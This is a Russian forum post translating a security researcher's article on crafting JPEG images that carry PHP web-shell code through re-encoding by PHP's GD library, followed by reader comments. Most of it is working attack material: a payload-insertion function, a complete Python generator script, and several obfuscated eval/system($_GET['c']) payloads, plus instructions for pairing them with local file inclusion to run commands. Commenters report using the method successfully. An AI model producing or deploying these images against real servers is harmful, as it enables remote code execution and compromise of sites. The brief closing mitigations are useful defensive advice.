Перевод статьи Дамьена Кокий http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l/ От переводчика (здесь и далее текст от переводчика италиком): Дано: · есть LFI, · есть загрузка картинок, но любая картинка обрабатывается встроенной по умолчанию в php библиотекой GD, · мы можем узнать путь до загруженной картинки, · из других загруженных картинок можем узнать параметр quality, который используется при сохранении изображения на сервере. Требуется: получить веб-шелл. Для эксплуатации нужно с помощью LFI «подключить» нашу загруженную картинку и выполнится код. Как и я, в один прекрасный день Вы можете оказаться в ситуации, когда есть уязвимость, позволяющая осуществить подключение локального файла, но нет способа загрузки или создания на сервере файла с исполняемым кодом. Можно попытаться инъектиться в файл сессии, а если повезет, увидеть в логах, куда загружаются изображения через форму загрузки. Но это ничего не гарантирует, например, если эта форма загрузки, написанная на php, использует библиотеку GD для декодирования и сохранения загруженных файлов на диск, и именно эта библиотека может помешать нам получить веб-шелл. Damned, we’re doomed. Некоторая вспомогательная информация Обычно в таких случаях отправка картинки в формате JPEG, например, с дополнительным комментарием, созданным в Gimp, решает проблему. Но в нашем случае такой подход не сработает из-за библиотеки GD, которая используется для декодирования и записи файла с картинкой на диск. У этой библиотеки есть досадная особенность: все существующие комментарии она удаляет и заменяет своими. Тем не менее, эта библиотека обладает довольно интересной особенностью: она раскрывает качество (параметр quality), с которым сохранено изображение, составляющее 50 в данном примере (в то время как по умолчанию оно составляет 75). Кроме того, в комментарии явно говорится, что картинка была сгенерирована с помощью библиотеки GD. Это, конечно, не особо информативно, но может помочь. Атакуемый сайт принимал только файлы формата jpeg, и мне пришлось залезть в самые дебри: разобраться, каким образом файлы этого формата устроены. Основной целью было найти место в файле, куда можно что-то записать, но которое при этом не будет испорчено этой библиотекой. Ресурсов, описывающих устройство этих файлов, оказалось довольно много, например, это: http://www.xbdev.net/image_formats/jpeg/tut_jpg/jpeg_file_layout.php Формат файла JPEG (Joint Photographic Expert Group) представляет собой способ хранения изображений со сжатием с потерями. Грубо говоря, он основан на преобразовании положения пикселей в зависимости от того, насколько они друг на друга похожи. Основная проблема заключается в том, что конфигурация пикселей, составляющих картинку, не записывается в файл, как она есть, в отличие от других растровых форматов (например, майкрософтовский BMP или GIF). Это становится проблемой, когда нужно найти место для вставки фрагмента PHP кода для нормальной эксплуатации LFI. Кроме того, формат файла весьма специфичен, поскольку информация разбросана в нем по секциям, предопределенным специальными маркерами. Маркер всегда начинается с байта со значением 255 (0xFF) и содержит код, соответствующий его роли. Так, у маркера с кодом 0xD8 означает начало изображения (Start of image, или SOI), а маркер с кодом 0xD9 – конец изображения (EOI). Определены и другие маркеры, например, 0xFE. За более подробной информацией рекомендую обратиться к материалам по вышеприведенным ссылкам. Так куда же можно писать в файле такого формата? Это основной вопрос. В файле формата JPEG есть поле для комментария, но мы уже видели, что он все равно затирается библиотекой GD при резервном копировании. Формат JPEG разрешает также использование маркеров, специфичных для приложений, например, известный APPX, но опять же, такие маркеры не берутся в расчет библиотекой GD. У нас не остается другого выбора, кроме как попытаться вставить нагрузку в те данные нашего файла, которые предназначены для восстановления изображения. Теоретически, достаточно локализовать секцию SOS (Start of Scan, с маркером 0xDA), найти следующие за этим маркером сжатые данные и заменить первые байты на наш PHP пэйлоад. В теории это должно сработать. Но на практике пэйлоад будет интерпретирован как сжатые данные и послужит для генерации картинки из пикселей, которые мы не контролируем. Ничего не дает гарантии, что после восстановления библиотекой GD наш пэйлоад сохранится. Идеальный вариант, которого мы хотим добиться, предполагал бы вставку нашей PHP-нагрузки вместо данных, которые позволяют восстановить пиксели, и, поскольку GD декодирует, а затем кодирует картинку, в идеальном случае наш пэйлоад должен сохраниться и записаться на диск. В случае, если файл не пройдет через GD, он и так будет содержать нашу нагрузку и работать. Таким образом, мы сможем получить JPEG картинку, содержащую злонамеренный код PHP и при этом устойчивый к трансформациям, вызванным библиотекой GD. Создание JPEG-картинки “bulletproof” Для создания подобных чудесных картинок я написал реализующий инъекцию код на питоне. Чтобы это сделать, достаточно найти последовательность байтов 0xFF 0xDA (соответствующих секции Start of Scan), а затем прочитать два следующих байта (они содержат размер хранимых данных в двух байтах в big-endian), и наконец найти место, где записаны сжатые данные. В следующей части файла надо найти маркер конца изображения (0xFF 0xD9), и все данные между маркером начала и маркером конца соответствуют сжатым данным, определяющим содержимое картинки (если быть точными до конца, части картинки, но это уже не принципиально). Довольно просто заменить несколько байтов из начала нашим пэйлоадом. Заметьте, что в представленном ниже коде автор предусмотрел переменное смещение, но к нему вернемся позже. Вот код этой функции: Code: def insertPayload(_in, _out, payload,off): img = _in # look for 'FF DA' (SOS) sos = img.index("\xFF\xDA") sos_size = struct.unpack('>H',img[sos+2:sos+4])[0] sod = sos_size+2 # look for 'FF D9' (EOI) eoi = img[sod:].index("\xFF\xD9") # enough size ? if (eoi - sod - off)>=len(payload): _out.write(img[:sod+sos+off]+payload+img[sod+sos+len(payload)+off:]) return True else: return False Для тестирования сгенерированных картинок, я установил зависимость Питона, необходимую для использования библиотеки GD, для дебиана она называется python-gd (прим. переводчика – для федоры тоже). Эти зависимости позволяют с помощью питона промоделировать все процедуры, проводимые библиотекой GD, и в особенности воспроизвести то, что происходит на атакуемом сервере и узнать, что происходит при открытии и сохранении на диск загруженного изображения. Однако нужно учитывать важный момент – качество изображения. GD позволяет задать качество (как и другое ПО для работы с изображениями, например, GIMP) для того, чтобы определить размер файла на диске. Чем лучше качество (близкое или равное 100), тем больше будет весить файл и чистая картинка, и наоборот: чем ниже качество, тем меньше будет файл и хуже изображение. Фактор качества очень важен: при генерации нашего изображения нужно использовать точно тот же показатель качества, с каким будет работать библиотечная функция на сервере, чтобы быть уверенными, что удаленный сервер правильно сохранит наш пэйлоад при записи на диск. Но вот определить используемые там настройки качества поможет только найденная ранее утечка информации. (прим. переводчика – этот параметр можно узнать, просмотрев в хексе нормальные картинки, сохраненные на сервере. По умолчанию этот параметр равен 75, что соответствует значению -1 в параметре quality функции imagejpeg). Я автоматизировал генерацию картинок с показателем качества от 52 до 96 с помощью скрипта на Питоне, а также смог сгенерировать картинки, содержащие следующий (или любой аналогичный) код: Code: <?php system($_GET['c']); ?> Разумеется, для того, чтобы убедиться, что вставка прошла оптимальным образом, нужно сгенерировать несколько вариантов. Тем не менее, результат все равно интересный. Кроме того, скрипт пытается вставить пэйлоад в разные места, не обязательно в начало секции (вы же помните про смещение в функции вставки?), поскольку фазы компрессии и декомпрессии дают шум в случайных местах. Вот на что похоже изображение перед тем, как его обработала библиотека GD. Это изображение содержит наш пэйлоад и показателем качества, взятым по умолчанию. Если рассмотреть содержимое файла с изображением, там можно увидеть такие строки: Такая JPEG-картинка позволила легко обойти ограничения, наложенные библиотекой GD и заставить ее саму записать на диск файл с изображением, содержащим злонамеренный PHP-код. Это, в свою очередь, позволило выполнять системные команды на удаленном сервере с помощью найденной до этого уязвимости LFI. Чтобы читателю не пришлось генерировать все это самостоятельно, далее представлен код, который использовался для генерации все bulletproof картинок. Spoiler: скрипт Code: #!/usr/bin/python """ Bulletproof Jpegs Generator Copyright (C) 2012 Damien "virtualabs" Cauquil This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. """ import struct,sys,os import gd from StringIO import StringIO from random import randint,shuffle from time import time # image width/height (square) N = 32 def insertPayload(_in, _out, payload,off): """ Payload insertion (quick JPEG parsing and patching) """ img = _in # look for 'FF DA' (SOS) sos = img.index("\xFF\xDA") sos_size = struct.unpack('>H',img[sos+2:sos+4])[0] sod = sos_size+2 # look for 'FF D9' (EOI) eoi = img[sod:].index("\xFF\xD9") # enough size ? if (eoi - sod - off)>=len(payload): _out.write(img[:sod+sos+off]+payload+img[sod+sos+len(payload)+off:]) return True else: return False if __name__=='__main__': print "[+] Virtualabs' Nasty bulletproof Jpeg generator" print " | website: http://virtualabs.fr" print " | contact: virtualabs -at- gmail -dot- com" print "" payloads = ["<?php eval(/**/$_GET['c'/**/]);?>","<?php /**/eval($_GET[chr(99)/**/]);?>","<?php eval(/**/$_GET[chr(99)]);?>","<?php\r\neval($_GET[/**/'c']);\r\n ?>", "<?php eval(/**/$_GET['c']);?>", "<?php eval($_GET['c'])/**/;?>", "<?/**/ eval($_GET['c']);?>"] # make sure the exploit-jpg directory exists or create it if os.path.exists('exploit-jpg') and not os.path.isdir('exploit-jpg'): print "[!] Please remove the file named 'exploit-jpg' from the current directory" elif not os.path.exists('exploit-jpg'): os.mkdir('exploit-jpg') # start generation print '[i] Generating ...' for q in range(50,95)+[-1]: # loop over every payload for p in payloads: # not done yet done = False start = time() # loop while not done and timeout not reached while not done and (time()-start)<10.0: # we create a NxN pixels image, true colors img = gd.image((N,N),True) # we create a palette pal = [] for i in range(N*N): pal.append(img.colorAllocate((randint(0,256),randint(0,256),randint(0,256)))) # we shuffle this palette shuffle(pal) # and fill the image with it pidx = 0 for x in range(N): for y in range(N): img.setPixel((x,y),pal[pidx]) pidx+=1 # write down the image out_jpg = StringIO('') img.writeJpeg(out_jpg,q) out_raw = out_jpg.getvalue() # now, we try to insert the payload various ways for i in range(64): test_jpg = StringIO('') if insertPayload(out_raw,test_jpg,p,i): try: # write down the new jpeg file f = open('exploit-jpg/exploit-%d.jpg'%q,'wb') f.write(test_jpg.getvalue()) f.close() # load it with GD test = gd.image('exploit-jpg/exploit-%d.jpg'%q) final_jpg = StringIO('') test.writeJpeg(final_jpg,q) final_raw = final_jpg.getvalue() # does it contain our payload ? if p in final_raw: # Yay ! print '[i] Jpeg quality %d ... DONE'%q done = True break except IOError,e: pass else: break if not done: # payload not found, we remove the file os.unlink('exploit-jpg/exploit-%d.jpg'%q) else: break Чтобы закончить на ноте безопасности, если на своем ресурсе Вы допускаете загрузку изображений формата JPEG (это справедливо, однако, и для других форматов, например, идентичная атака может быть реализована для форматов BMP или PNG), примите следующие несколько мер предосторожности: · Храните ваше изображение в директории, расположенной вне корневой директории веб-сервера · Назначьте ограничение open_basedir и по меньшей мере ограничьте доступ к корневой директории · Напишите PHP скрипт, который позволял бы восстанавливать загруженные картинки, с использованием обычных правил предосторожности: без параметров в путях и тому подобного. Спасибо @crlf за наводку на статью =)
Да, проблема. Это сработает, если наша картинка на стороне сервера сохраняется с тем же показателем quality, с каким мы ее генерируем. Но если есть возможность просмотреть картинки, уже сохраненные на сервере, в хексе, и если больше ничего при демонстрации этих картинок не преобразовывается, то мы увидим как раз то, с каким показателем они были сохранены. Генерируем свою с этим же показателем.
Хочу отметить, что метод описанный в статье помогал мне дважды. В обоих случаях была загрузка файлов с произвольным расширением, но происходила обработка изображения средствами GD. Есть такой метод https://rdot.org/forum/showthread.php?t=2780, но сам не пользовался Вполне возможно, что и при кропе можно сохранить нагрузку, нужно исследовать.
Ага, тестил, не зашло. Давно ещё тестил. Хз как и чем обрабатывалась картинка, но там кроме заголовка всё менялось. (Может конечно не всё дд не делал). Идея не нова, но хороша. Есть над чем заморочиться , как с FFmpeg пройтись по ресурсам. 10 из20 стрельнут, как каждый 2й с FFmpeg. сука, фиксят всё.
у меня, к сожалению, нет. Я тестировала у себя на локалке, постаралась сделать все проверки, какие могла, но не уверена, что опыт позволил покрыть все случаи. Надо подумать
на практике, особенно с ресайзами/сжатием, выручает именно он.правда, если генерить картинку poc-ом из топика, то получится в лучшем случае не с первого раза ))
а у Вас какие проблемы были с генерацией? там странная вещь: до 96 он гонит редко и случайно, но когда q от 96 до 100, gd начинает сыпать ошибками, описания которых я не нашла в манах к библиотеке. Такая же проблема была или что-то другое?